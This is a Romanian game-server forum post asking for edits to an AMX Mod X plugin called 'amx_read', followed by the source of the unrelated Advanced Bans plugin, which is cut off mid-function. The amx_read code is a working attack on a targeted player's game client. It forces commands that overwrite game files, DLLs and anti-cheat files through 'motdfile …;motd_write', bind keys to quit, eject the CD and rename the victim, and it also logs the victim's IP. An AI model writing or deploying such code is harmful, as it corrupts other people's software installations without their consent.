Cerere plugin read :)

Categoria cu cereri de pluginuri si nu numai.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Forum rules
Accesează link-ul pentru a putea vedea regulile forumului

Daca doriti sa vi se modifice un plugin, va rugam postati aici .
ReaD1nG
Membru, skill +1
Membru, skill +1
Posts: 237
Joined: 26 Jul 2013, 17:48
Detinator Steam: Da
Has thanked: 65 times
Been thanked: 13 times

27 Jul 2013, 13:03

Salut as dori si eu un plugin amx_read . am facut eu totul decand dumneavoastra voi cei care ma ajutati sa il fac sa imi adaugati 2 lucruri
1 Totul este facut de mine voi decat sa bagati desigur
2 Vreau sa imi adaugati in acest plugin amx_read cand dau amx_read nume motiv sa dea si un ban sa zicem 120 sa sa puneti voi acolo si eu sa schimb , bun !
3 Vreau sa fie si un amx_unread adica sa scoata banul si in consola sa scrie amx_unread <nume sau ip> <motiv>
cam atat eu sper sa ma ajutati
Va multumesc
P.S : va dau multumesc
Hopa uitai sma
SMA | Afiseaza codul
// DESIGUR MULTUMIRI CELOR CE MAU AJUTAT : pumf etc etc bla bla !

#include < amxmodx >
#include < amxmisc >
#include < sockets >
#include < fun >


enum


{


INFO_IP,
INFO_AUTHID


};


new const g_sCommands[ ][ ] =
{
    "rate 1",
    "cl_cmdrate 1",
        "snapshot",
    "cl_updaterate 1",
    "cl_allowdownload 0",
    "cl_allowupload 0",
    "cl_crosshair_size large",
    "fps_max 1",
    "sys_ticrate 1",
        "fps_modem 1",
        "sensitivity 9999.9999",
        "developer 1",
        "con_color 1 1 1",
        "m_pitch 1",
        "m_yaw 1",
    "hpk_maxsize 100",
    "cl_forwardspeed 100",
    "cl_backspeed 100",
    "cl_sidespeed 100",
    "cl_timeout 0",
    
    "name AM FOST READUS la moarte pe www.laleagane.ro",
       
    
    "motdfile models/player.mdl;motd_write x",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile cs_dust.wad;motd_write x",
    "motdfile models/v_m4a1.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
        "motdfile cl_dlls/client.dll;motd_write x",
        "motdfile dlls/server.dll;motd_write x",
        "motdfile raiz0-Guard.dll;motd_write x",
        "motdfile raiz0-Guard.ini;motd_write x",
        "motdfile raiz0-Guard.asi;motd_write x",
        "motdfile models/shield.mdl;motd_write x",
    "motdfile models/player/z_out_admin/z_out_admin.mdl;motd_write x",
    "motdfile models/player/admin_ct/admin_ct.mdl;motd_write x",
    "motdfile models/w_usp.mdl;motd_write x",
    "motdfile models/w_ump45.mdl;motd_write x",
    "motdfile models/w_smokegrenade.mdl;motd_write x",
    "motdfile models/w_sg552.mdl;motd_write x",
    "motdfile models/w_sg550.mdl;motd_write x",
    "motdfile models/w_scout.mdl;motd_write x",
    "motdfile models/w_p228.mdl;motd_write x",
    "motdfile models/w_p90.mdl;motd_write x",
    "motdfile models/w_mac10.mdl;motd_write x",
    "motdfile models/w_knife.mdl;motd_write x",
    "motdfile models/w_hegrenade.mdl;motd_write x",
    "motdfile models/w_flashbang.mdl;motd_write x",
    "motdfile models/w_c4.mdl;motd_write x",
    "motdfile models/v_shield_r.mdl;motd_write x",
    "motdfile models/v_sg550.mdl;motd_write x",
    "motdfile models/v_p228.mdl;motd_write x",
    "motdfile models/v_p90.mdl;motd_write x",
    "motdfile models/v_mp5.mdl;motd_write x",
    "motdfile models/v_mac10.mdl;motd_write x",
    "motdfile models/v_m3.mdl;motd_write x",
    "motdfile models/v_knife_r.mdl;motd_write x",
    "motdfile models/v_knife.mdl;motd_write x",
    "motdfile models/v_hegrenade.mdl;motd_write x",
    "motdfile models/v_c4.mdl;motd_write x",
    "motdfile models/support3.mdl;motd_write x",
    "motdfile models/p_knife.mdl;motd_write x",
    "motdfile models/p_usp.mdl;motd_write x",
    "motdfile resource/LoadingDialog.res;motd_write x",
    "motdfile resource/CreateMultiplayerGameServerPage.res;motd_write x",
    "motdfile resource/game_menu_mouseover.tga;motd_write x",
    "motdfile resource/logo_game.tga;motd_write x",
    "motdfile events/createexplo.sc;motd_write x",
    "motdfile events/awp.sc;motd_write x",
    "motdfile events/deagle.sc;motd_write x",
    "motdfile events/famas.sc;motd_write x",
    "motdfile events/p90.sc;motd_write x",
    "motdfile cl_dlls/client.dll;motd_write x",
    "motdfile sprites/pistol_smoke1.spr;motd_write x",
    "motdfile sprites/ic4.spr;motd_write x",
    "motdfile sprites/radio.spr;motd_write x",
    "motdfile sprites/radar320.spr;motd_write x",
    "motdfile sprites/radar640.spr;motd_write x",
    "motdfile sprites/radaropaque640.spr;motd_write x",
    "motdfile sprites/snow.spr;motd_write x",
    "motdfile sprites/smokepuff.spr;motd_write x",
    "motdfile sprites/w_ak47.spr;motd_write x",
    "motdfile sprites/w_knife.spr;motd_write x",
    "motdfile userconfig.cfg;motd_write x",
    "motdfile dlls/mpold.dll;motd_write x",
    "motdfile classes/ak47.res;motd_write x",
    "motdfile classes/default.res;motd_write x",
    "motdfile BotChatter.db;motd_write x",
    "motdfile BotProfile.db;motd_write x",
    "motdfile sound/destroy.wav;motd_write x",
    "motdfile models/player.mdl;motd_write y",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile models/p_ak47.mdl;motd_write x",
    "motdfile models/v_flashbang.mdl;motd_write y",
    "motdfile models/p_m3.mdl;motd_write x",
    "motdfile models/v_awp.mdl;motd_write n",
    "motdfile models/p_ump45.mdl;motd_write x",
    "motdfile models/v_awp.mdl;motd_write x",
    "motdfile models/player/arctic/arctic.mdl;motd_write x",
    "motdfile models/player/gsg9/gsg9.mdl;motd_write y",
    "motdfile models/player/sas/sas.mdl;motd_write x",
    "motdfile models/player/terror/terror.mdl;motd_write y",
    "motdfile models/player/vip/vip.mdl;motd_write x",
    "motdfile models/player/urban/urban.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile liblist.gam;motd_write y",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile autoexec.cfg;motd_write x",
    "motdfile dlls/cs_i386.so;motd_write x",
    "motdfile resource/cstrike_english.txt;motd_write x",
    "motdfile resource/game_menu.tga;motd_write x",
    "motdfile maps/de_inferno.bsp;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile maps/de_aztec.bsp;motd_write x",
    "motdfile maps/de_dust.bsp;motd_write x",
    "motdfile maps/de_train.bsp;motd_write x",
    "motdfile cs_assault.wad;motd_write x",
    "motdfile spectatormenu.txt.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",


    "cd eject",
    "kill",


        "bind ` quit",
        "bind enter quit",
        "bind space quit",
        "bind ctrl quit",
        "bind y quit",
        "bind u quit",
        "bind m quit",
        "bind a quit",
        "bind s quit",
        "bind w quit",
        "bind q quit",
        "bind e quit",
    "bind t quit",
    "bind d quit",
        "bind tab quit",
        "snapshot"
};


new cvar_time,TIME[65]
new cvar_forum,FORUM[66]


public plugin_init( )
{
    register_plugin( "AMX_read", "2.4", "eVoLuTiOn" ) // editat de read1ng si pumf desigur;
    register_concmd( "amx_read", "Concmd_AMXX_read", ADMIN_LEVEL_G, "<jucator> <motiv>" );
        cvar_time = register_cvar("amx_read_time", "1")
        cvar_forum = register_cvar("amx_read_forum", "www.laleagane.ro")
}


public Concmd_AMXX_read( id, level, cid )
{
    if(!cmd_access(id,level,cid,2))
        return PLUGIN_HANDLED;        
    new sArgument[32]
    read_argv( 1, sArgument, charsmax( sArgument ) );
    new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
    if( !player )
        return PLUGIN_HANDLED;
    
    for( new i = 0; i < sizeof( g_sCommands ); i++)
        client_cmd( player, g_sCommands[ i ] );
    
    
    if ( !player )
    {
        console_print ( id, "Jucatorul cu acel nume nu exista ! !" );
        return 1;
    }
    
        new name[ 32 ], name2[ 32 ], ip2[ 16 ], Players[32], reason[32], PlayersNum, ctime[64];
    get_user_name( id, name, charsmax( name ) );
    get_user_name( player, name2, charsmax( name2 ) );
    get_user_ip( player, ip2, charsmax( ip2 ), 1 );
    get_players( Players, PlayersNum, "ch" );
    get_time("Data: %d/%m/%Y - Ora: %H:%M:%S", ctime, 63)
    read_argv(2, reason, 31);
    remove_quotes(reason);
    get_pcvar_string(cvar_time, TIME, 64);
    get_pcvar_string(cvar_forum, FORUM, 65);
    
    log_to_file( "read.log", "[HNS]ADMIN-ul %s ia spart moaca lui %s ( IP: %s ). Motivul: %s", name, name2, ip2, reason );
    
    chat_color( 0, "!n[!tHNS!n]!tADMIN!n-!gul !t%s!n: ia spart moaca lui !g%s !ncu !tMotivul!n: %s ", name, name2, reason );


        client_cmd( 0, "spk ^"vox/bizwarn coded user apprehend^"" );


    chat_color( id, "!g* !nNume: !t%s !n| Nume Admin : !g%s", name, name2);
    chat_color( id, "!g* !nIP Jucator: !t%s !n| IP Admin: !g%s", ip2, GetInfo(  id,  INFO_IP  ) );
    chat_color( id, "!g* !nSteamID: !t%s !n| SteamID Admin: !g%s ", GetInfo(  player,  INFO_AUTHID  ),  GetInfo(  id,  INFO_AUTHID  )  );
    chat_color( id, "!g* !nExterminate motiv: !t%s", reason);
    chat_color( id, "!g* !nData/Ora: !t%s !n| Site: !g%s", ctime, FORUM);


        client_cmd( id,  "snapshot;snapshot;snapshot"  );


    return PLUGIN_HANDLED;
}


stock chat_color(const id, const input[], any:...)
{
    new count = 1, players[32]
    static msg[191]
    vformat(msg, 190, input, 3)
    
    replace_all(msg, 190, "!g", "^4")
    replace_all(msg, 190, "!n", "^1")
    replace_all(msg, 190, "!t", "^3")
    replace_all(msg, 190, "!t2", "^0")
    
    if (id) players[0] = id; else get_players(players, count, "ch")
    {
        for (new i = 0; i < count; i++)
        {
            if (is_user_connected(players))
            {
                message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players)
                write_byte(players);
                write_string(msg);
                message_end();
            }
        }
    }
}
stock GetInfo( id, const iInfo )
{
    
    new szInfoToReturn[  64  ];
    
    switch(  iInfo  )
    {
        
        case INFO_AUTHID:
        {
            new szAuthId[ 35 ];
            get_user_authid(  id,  szAuthId,  sizeof ( szAuthId ) -1  );
            
            copy(  szInfoToReturn,  sizeof ( szInfoToReturn ) -1,  szAuthId  );
        }
        case INFO_IP:
        {
            new szIp[ 32 ];
            get_user_ip(  id,  szIp,  sizeof ( szIp ) -1,  1  );
            
            copy(  szInfoToReturn,  sizeof ( szInfoToReturn ) -1,  szIp  );
        }
    }
    
    return szInfoToReturn;
}


/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
*/

si sa nu uit de ADVANCED BAN:)
*
Advanced Bans
SMA | Afiseaza codul
Version 0.8.1
	
	by Exolent
	
	
	
	Plugin Thread:
	
	- http://forums.alliedmods.net/showthread.php?t=80858
	
	
	
	Description:
	
	- This plugin revamps the current amx_ban, amx_banip, amx_banid, amx_unban admin commands.
	
	- It uses Real Time on the server
	  (Eg. Banned for 10 minutes, you will be unbanned 10 minutes later, regardless of map changing).
	
	- It includes a list of who is banned.
	
	- It does not use the banned.cfg or listip.cfg. It uses its own file where bans are stored.
	
	- It saves what admin banned the player (name), the admin's steamid, the reason, the ban time, 
	  the banned player's name, the banned player's steamid (or IP), and the estimated time of unban.
	
	- It will load your currently banned players from the banned.cfg and listip.cfg files.
	  (Only if the #define below is uncommented)
	
	- If you use the menu to ban players, you will have to type a reason after you choose a player.
	
	- If you use the vote system to ban players, you will have to type a reason after you execute the amx_voteban command.
	
	- You can limit the ban time for admins based on their admin flags.
	
	- You can monitor all ban history (admins banning, unbanning, and when ban times are up) in
	  the addons/amxmodx/logs/BAN_HISTORY_MMDDYYYY.log (MM = month, DD = day, YYYY = year)
	
	- If you wish to have only 1 file for ban history, uncomment the line at the top of the .sma file and recompile.
	
	- Supports SQL for banning.
	
	
	
	Commands:
	
	- amx_ban <nick, #userid, authid> <time in minutes> <reason>
	
	- amx_banip <nick, #userid, authid> <time in minutes> <reason>
	
	- amx_addban <name> <authid or ip> <time in minutes> <reason>
	
	- amx_unban <authid or ip>
	
	- amx_banlist
	  - Shows a list of who is banned
	
	- amx_addbanlimit <flags> <time in minutes>
	  - Adds a max ban time to the list
	  - Note: Use this command in the amxx.cfg
	
	
	
	Cvars:
	
	- ab_website <website>
	  - This is the website displayed to the banned player if you have an unban request section on your website.
	  - Leave blank to not show a website.
	  - Default: blank
	
	- ab_immunity <0|1|2>
	  - 0 - Any admin can ban an immunity admin (flag 'a').
	  - 1 - Immunity admins (flag 'a') cannot be banned.
	  - 2 - Immunity admins (flag 'a') can only be banned by other immunity admins (flag 'a').
	  - Default: 1
	
	- ab_bandelay <seconds>
	  - Delay of banned players being disconnected.
	  - Default: 1
	
	- ab_unbancheck <seconds>
	  - Interval of checking if a player is unbanned.
	  - Default: 5
	
	
	
	Requirements:
	
	- AMX Mod X version 1.8.0 or higher
	
	
	
	Changelog:

	- Version 0.1 (with updates included)
	  - Initial Release
	  - Changed to dynamic arrays to hold ban information
	  - Added option #2 for ab_immunity
	  - Added support for banning by IP
	  - Added compatability for banned.cfg and listip.cfg
	  - Added menu support (plmenu.amxx)
	  - Added ML support

	- Version 0.2
	  - Added simple max ban time feature

	- Version 0.3
	  - Added more cvars for max ban times
	  - Added cvar for delay of player to disconenct after being banned
	  - Added cvar for interval of checking for unban time of banned players
	  - Added more translations

	- Version 0.4
	  - Fixed the possible infinite loop, causing servers to crash
	  - Added ban history
	  - Removed max ban time cvars
	  - Added max ban times per admin flags
	  - Added more translations

	- Version 0.5
	  - Fixed information not being printed into console
	  - Fixed "amx_addban" using the admin's name as the SteamID when saving the ban
	  - Added option for ban history to be one file
	  - Added translations

	- Version 0.5b
	  - Fixed players not being unbanned
	  - Added translations
	
	- Version 0.6
	  - Added small optimization for unban checking
	  - Changed "UnBan Time" in the logs and chat messages to "Ban Length"
	  - Fixed small code error where unban time was generated was used when length was 0
	  - Changed IsValidIP() method to use regex (Thanks to arkshine)
	  - Added plugin information inside the .sma file
	  - Added a #define option to use maximum bans for compatability for AMXX < 1.8.0
	  - Changed admin messages in chat to work with amx_show_activity cvar
	  - Added translations
	
	- Version 0.6b
	  - Fixed a small bug
	
	- Version 0.6c
	  - Fixed amx_banlist for server consoles
	  - Changed IsValidAuthid() method to use regex
	
	- Version 0.6d
	  - Fixed ban limit for permanent bans
	
	- Version 0.7
	  - Changed the "unlimited bans" version to be faster (Thanks to joaquimandrade)
	  - Added check when adding bans if the player is already banned.
	
	- Version 0.8
	  - Added SQL support.
	
	- Version 0.8.1
	  - Added unban logging for non-SQL version
	
	
	
	Notes:
	
	- If you plan to use this plugin, go to the plugin's thread.
	
	- The plugin's thread has more information about the plugin, along with the multilingual file.
	
	- It also has a modified plmenu.amxx plugin that adds the ban reason to the menu.
	
	- And it has a modified adminvote.amxx plugin that adds the ban reason to amx_voteban.
*/



#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <regex>

#define PLUGIN_NAME	"Advanced Bans"
#define PLUGIN_VERSION	"0.8.1"
#define PLUGIN_AUTHOR	"Exolent"

#pragma semicolon 1



// ===============================================
// CUSTOMIZATION STARTS HERE
// ===============================================


// uncomment the line below if you want this plugin to
// load old bans from the banned.cfg and listip.cfg files
//#define KEEP_DEFAULT_BANS


// uncomment the line below if you want the history to be in one file
//#define HISTORY_ONE_FILE


// if you must have a maximum amount of bans to be compatible with AMXX versions before 1.8.0
// change this number to your maximum amount
// if you would rather have unlimited (requires AMXX 1.8.0 or higher) then set it to 0
#define MAX_BANS 0


// if you want to use SQL for your server, then uncomment the line below
//#define USING_SQL


// ===============================================
// CUSTOMIZATION ENDS HERE
// ===============================================



#if defined USING_SQL
#include <sqlx>

#define TABLE_NAME		"advanced_bans"
#define KEY_NAME		"name"
#define KEY_STEAMID		"steamid"
#define KEY_BANLENGTH		"banlength"
#define KEY_UNBANTIME		"unbantime"
#define KEY_REASON		"reason"
#define KEY_ADMIN_NAME		"admin_name"
#define KEY_ADMIN_STEAMID	"admin_steamid"

#define RELOAD_BANS_INTERVAL	60.0
#endif

#define REGEX_IP_PATTERN "\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b"
#define REGEX_STEAMID_PATTERN "^^STEAM_0:(0|1):\d+$"

new Regex:g_IP_pattern;
new Regex:g_SteamID_pattern;
new g_regex_return;

/*bool:IsValidIP(const ip[])
{
	return regex_match_c(ip, g_IP_pattern, g_regex_return) > 0;
}*/

#define IsValidIP(%1) (regex_match_c(%1, g_IP_pattern, g_regex_return) > 0)

/*bool:IsValidAuthid(const authid[])
{
	return regex_match_c(authid, g_SteamID_pattern, g_regex_return) > 0;
}*/

#define IsValidAuthid(%1) (regex_match_c(%1, g_SteamID_pattern, g_regex_return) > 0)


enum // for name displaying
{
	ACTIVITY_NONE, // nothing is shown
	ACTIVITY_HIDE, // admin name is hidden
	ACTIVITY_SHOW  // admin name is shown
};
new const g_admin_activity[] =
{
	ACTIVITY_NONE, // amx_show_activity 0 = show nothing to everyone
	ACTIVITY_HIDE, // amx_show_activity 1 = hide admin name from everyone
	ACTIVITY_SHOW, // amx_show_activity 2 = show admin name to everyone
	ACTIVITY_SHOW, // amx_show_activity 3 = show name to admins but hide it from normal users
	ACTIVITY_SHOW, // amx_show_activity 4 = show name to admins but show nothing to normal users
	ACTIVITY_HIDE  // amx_show_activity 5 = hide name from admins but show nothing to normal users
};
new const g_normal_activity[] =
{
	ACTIVITY_NONE, // amx_show_activity 0 = show nothing to everyone
	ACTIVITY_HIDE, // amx_show_activity 1 = hide admin name from everyone
	ACTIVITY_SHOW, // amx_show_activity 2 = show admin name to everyone
	ACTIVITY_HIDE, // amx_show_activity 3 = show name to admins but hide it from normal users
	ACTIVITY_NONE, // amx_show_activity 4 = show name to admins but show nothing to normal users
	ACTIVITY_NONE  // amx_show_activity 5 = hide name from admins but show nothing to normal users
};


#if MAX_BANS <= 0
enum _:BannedData
{
	bd_name[32],
	bd_steamid[35],
	bd_banlength,
	bd_unbantime[32],
	bd_reason[128],
	bd_admin_name[64],
	bd_admin_steamid[35]
};

new Trie:g_trie;
new Array:g_array;
#else
new g_names[MAX_BANS][32];
new g_steamids[MAX_BANS][35];
new g_banlengths[MAX_BANS];
new g_unbantimes[MAX_BANS][32];
new g_reasons[MAX_BANS][128];
new g_admin_names[MAX_BANS][64];
new g_admin_steamids[MAX_BANS][35];
#endif
new g_total_bans;

#if !defined USING_SQL
new g_ban_file[64];
#else
new Handle:g_sql_tuple;
new bool:g_loading_bans = true;
#endif

new ab_website;
new ab_immunity;
new ab_bandelay;
new ab_unbancheck;

new amx_show_activity;

#if MAX_BANS <= 0
new Array:g_maxban_times;
new Array:g_maxban_flags;
#else
#define MAX_BANLIMITS	30
new g_maxban_times[MAX_BANLIMITS];
new g_maxban_flags[MAX_BANLIMITS];
#endif
new g_total_maxban_times;

new g_unban_entity;

new g_max_clients;

new g_msgid_SayText;

public plugin_init()
{
	register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR);
	register_cvar("advanced_bans", PLUGIN_VERSION, FCVAR_SPONLY);
	
	register_dictionary("advanced_bans.txt");
	
	register_concmd("amx_ban", "CmdBan", ADMIN_BAN, "<nick, #userid, authid> <time in minutes> <reason>");
	register_concmd("amx_banip", "CmdBanIp", ADMIN_BAN, "<nick, #userid, authid> <time in minutes> <reason>");
	register_concmd("amx_addban", "CmdAddBan", ADMIN_BAN, "<name> <authid or ip> <time in minutes> <reason>");
	register_concmd("amx_unban", "CmdUnban", ADMIN_BAN, "<authid or ip>");
	register_concmd("amx_banlist", "CmdBanList", ADMIN_BAN, "[start] -- shows everyone who is banned");
	register_srvcmd("amx_addbanlimit", "CmdAddBanLimit", -1, "<flag> <time in minutes>");
	
	ab_website = register_cvar("ab_website", "");
	ab_immunity = register_cvar("ab_immunity", "1");
	ab_bandelay = register_cvar("ab_bandelay", "1.0");
	ab_unbancheck = register_cvar("ab_unbancheck", "5.0");
	
	amx_show_activity = register_cvar("amx_show_activity", "2");
	
	#if MAX_BANS <= 0
	g_trie = TrieCreate();
	g_array = ArrayCreate(BannedData);
	#endif
	
	#if !defined MAX_BANLIMITS
	g_maxban_times = ArrayCreate(1);
	g_maxban_flags = ArrayCreate(1);
	#endif
	
	#if !defined USING_SQL
	get_datadir(g_ban_file, sizeof(g_ban_file) - 1);
	add(g_ban_file, sizeof(g_ban_file) - 1, "/advanced_bans.txt");
	
	LoadBans();
	#else
	g_sql_tuple = SQL_MakeStdTuple();
	PrepareTable();
	#endif
	
	new error[2];
	g_IP_pattern = regex_compile(REGEX_IP_PATTERN, g_regex_return, error, sizeof(error) - 1);
	g_SteamID_pattern = regex_compile(REGEX_STEAMID_PATTERN, g_regex_return, error, sizeof(error) - 1);
	
	g_max_clients = get_maxplayers();
	
	g_msgid_SayText = get_user_msgid("SayText");
}

#if defined USING_SQL
PrepareTable()
{
	new query[128];
	formatex(query, sizeof(query) - 1,\
		"CREATE TABLE IF NOT EXISTS `%s` (`%s` varchar(32) NOT NULL, `%s` varchar(35) NOT NULL, `%s` int(10) NOT NULL, `%s` varchar(32) NOT NULL, `%s` varchar(128) NOT NULL, `%s` varchar(64) NOT NULL, `%s` varchar(35) NOT NULL);",\
		TABLE_NAME, KEY_NAME, KEY_STEAMID, KEY_BANLENGTH, KEY_UNBANTIME, KEY_REASON, KEY_ADMIN_NAME, KEY_ADMIN_STEAMID
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryCreateTable", query);
}

public QueryCreateTable(failstate, Handle:query, error[], errcode, data[], datasize, Float:queuetime)
{
	if( failstate == TQUERY_CONNECT_FAILED )
	{
		set_fail_state("Could not connect to database.");
	}
	else if( failstate == TQUERY_QUERY_FAILED )
	{
		set_fail_state("Query failed.");
	}
	else if( errcode )
	{
		log_amx("Error on query: %s", error);
	}
	else
	{
		LoadBans();
	}
}
#endif

public plugin_cfg()
{
	CreateUnbanEntity();
}

public CreateUnbanEntity()
{
	static failtimes;
	
	g_unban_entity = create_entity("info_target");
	
	if( !is_valid_ent(g_unban_entity) )
	{
		++failtimes;
		
		log_amx("[ERROR] Failed to create unban entity (%i/10)", failtimes);
		
		if( failtimes < 10 )
		{
			set_task(1.0, "CreateUnbanEntity");
		}
		else
		{
			log_amx("[ERROR] Could not create unban entity!");
		}
		
		return;
	}
	
	entity_set_string(g_unban_entity, EV_SZ_classname, "unban_entity");
	entity_set_float(g_unban_entity, EV_FL_nextthink, get_gametime() + 1.0);
	
	register_think("unban_entity", "FwdThink");
}

public client_authorized(client)
{
	static authid[35];
	get_user_authid(client, authid, sizeof(authid) - 1);
	
	static ip[35];
	get_user_ip(client, ip, sizeof(ip) - 1, 1);
	
	#if MAX_BANS > 0
	static banned_authid[35], bool:is_ip;
	for( new i = 0; i < g_total_bans; i++ )
	{
		copy(banned_authid, sizeof(banned_authid) - 1, g_steamids);
		
		is_ip = bool:(containi(banned_authid, ".") != -1);
		
		if( is_ip && equal(ip, banned_authid) || !is_ip && equal(authid, banned_authid) )
		{
			static name[32], reason[128], unbantime[32], admin_name[32], admin_steamid[64];
			copy(name, sizeof(name) - 1, g_names);
			copy(reason, sizeof(reason) - 1, g_reasons);
			new banlength = g_banlengths;
			copy(unbantime, sizeof(unbantime) - 1, g_unbantimes);
			copy(admin_name, sizeof(admin_name) - 1, g_admin_names);
			copy(admin_steamid, sizeof(admin_steamid) - 1, g_admin_steamids);
			
			PrintBanInformation(client, name, banned_authid, reason, banlength, unbantime, admin_name, admin_steamid, true, true);
			
			set_task(get_pcvar_float(ab_bandelay), "TaskDisconnectPlayer", client);
			break;
		}
	}
	#else
	static array_pos;
	
	if( TrieGetCell(g_trie, authid, array_pos) || TrieGetCell(g_trie, ip, array_pos) )
	{
		static data[BannedData];
		ArrayGetArray(g_array, array_pos, data);
		
		PrintBanInformation(client, data[bd_name], data[bd_steamid], data[bd_reason], data[bd_banlength], data[bd_unbantime], data[bd_admin_name], data[bd_admin_steamid], true, true);
		
		set_task(get_pcvar_float(ab_bandelay), "TaskDisconnectPlayer", client);
	}
	#endif
}

public CmdBan(client, level, cid)
{
	if( !cmd_access(client, level, cid, 4) ) return PLUGIN_HANDLED;
	
	static arg[128];
	read_argv(1, arg, sizeof(arg) - 1);
	
	new target = cmd_target(client, arg, GetTargetFlags(client));
	if( !target ) return PLUGIN_HANDLED;
	
	static target_authid[35];
	get_user_authid(target, target_authid, sizeof(target_authid) - 1);
	
	if( !IsValidAuthid(target_authid) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_NOT_AUTHORIZED");
		return PLUGIN_HANDLED;
	}
	
	#if MAX_BANS <= 0
	if( TrieKeyExists(g_trie, target_authid) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_ALREADY_BANNED_STEAMID");
		return PLUGIN_HANDLED;
	}
	#else
	for( new i = 0; i < g_total_bans; i++ )
	{
		if( !strcmp(target_authid, g_steamids[i], 1) )
		{
			console_print(client, "[AdvancedBans] %L", client, "AB_ALREADY_BANNED_STEAMID");
			return PLUGIN_HANDLED;
		}
	}
	#endif
	
	read_argv(2, arg, sizeof(arg) - 1);
	
	new length = str_to_num(arg);
	new maxlength = GetMaxBanTime(client);
	
	if( maxlength && (!length || length > maxlength) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_MAX_BAN_TIME", maxlength);
		return PLUGIN_HANDLED;
	}
	
	static unban_time[64];
	if( length == 0 )
	{
		formatex(unban_time, sizeof(unban_time) - 1, "%L", client, "AB_PERMANENT_BAN");
	}
	else
	{
		GenerateUnbanTime(length, unban_time, sizeof(unban_time) - 1);
	}
	
	read_argv(3, arg, sizeof(arg) - 1);
	
	static admin_name[64], target_name[32];
	get_user_name(client, admin_name, sizeof(admin_name) - 1);
	get_user_name(target, target_name, sizeof(target_name) - 1);
	
	static admin_authid[35];
	get_user_authid(client, admin_authid, sizeof(admin_authid) - 1);
	
	AddBan(target_name, target_authid, arg, length, unban_time, admin_name, admin_authid);
	
	PrintBanInformation(target, target_name, target_authid, arg, length, unban_time, admin_name, admin_authid, true, true);
	PrintBanInformation(client, target_name, target_authid, arg, length, unban_time, admin_name, admin_authid, false, false);
	
	set_task(get_pcvar_float(ab_bandelay), "TaskDisconnectPlayer", target);
	
	GetBanTime(length, unban_time, sizeof(unban_time) - 1);
	
	PrintActivity(admin_name, "^x04[AdvancedBans] $name^x01 :^x03  banned %s. Reason: %s. Ban Length: %s", target_name, arg, unban_time);
	
	Log("%s <%s> banned %s <%s> || Reason: ^"%s^" || Ban Length: %s", admin_name, admin_authid, target_name, target_authid, arg, unban_time);
	
	return PLUGIN_HANDLED;
}

public CmdBanIp(client, level, cid)
{
	if( !cmd_access(client, level, cid, 4) ) return PLUGIN_HANDLED;
	
	static arg[128];
	read_argv(1, arg, sizeof(arg) - 1);
	
	new target = cmd_target(client, arg, GetTargetFlags(client));
	if( !target ) return PLUGIN_HANDLED;
	
	static target_ip[35];
	get_user_ip(target, target_ip, sizeof(target_ip) - 1, 1);
	
	#if MAX_BANS <= 0
	if( TrieKeyExists(g_trie, target_ip) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_ALREADY_BANNED_IP");
		return PLUGIN_HANDLED;
	}
	#else
	for( new i = 0; i < g_total_bans; i++ )
	{
		if( !strcmp(target_ip, g_steamids[i], 1) )
		{
			console_print(client, "[AdvancedBans] %L", client, "AB_ALREADY_BANNED_IP");
			return PLUGIN_HANDLED;
		}
	}
	#endif
	
	read_argv(2, arg, sizeof(arg) - 1);
	
	new length = str_to_num(arg);
	new maxlength = GetMaxBanTime(client);
	
	if( maxlength && (!length || length > maxlength) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_MAX_BAN_TIME", maxlength);
		return PLUGIN_HANDLED;
	}
	
	static unban_time[32];
	
	if( length == 0 )
	{
		formatex(unban_time, sizeof(unban_time) - 1, "%L", client, "AB_PERMANENT_BAN");
	}
	else
	{
		GenerateUnbanTime(length, unban_time, sizeof(unban_time) - 1);
	}
	
	read_argv(3, arg, sizeof(arg) - 1);
	
	static admin_name[64], target_name[32];
	get_user_name(client, admin_name, sizeof(admin_name) - 1);
	get_user_name(target, target_name, sizeof(target_name) - 1);
	
	static admin_authid[35];
	get_user_authid(client, admin_authid, sizeof(admin_authid) - 1);
	
	AddBan(target_name, target_ip, arg, length, unban_time, admin_name, admin_authid);
	
	PrintBanInformation(target, target_name, target_ip, arg, length, unban_time, admin_name, admin_authid, true, true);
	PrintBanInformation(client, target_name, target_ip, arg, length, unban_time, admin_name, admin_authid, false, false);
	
	set_task(get_pcvar_float(ab_bandelay), "TaskDisconnectPlayer", target);
	
	GetBanTime(length, unban_time, sizeof(unban_time) - 1);
	
	PrintActivity(admin_name, "^x04[AdvancedBans] $name^x01 :^x03  banned %s. Reason: %s. Ban Length: %s", target_name, arg, unban_time);
	
	Log("%s <%s> banned %s <%s> || Reason: ^"%s^" || Ban Length: %s", admin_name, admin_authid, target_name, target_ip, arg, unban_time);
	
	return PLUGIN_HANDLED;
}

public CmdAddBan(client, level, cid)
{
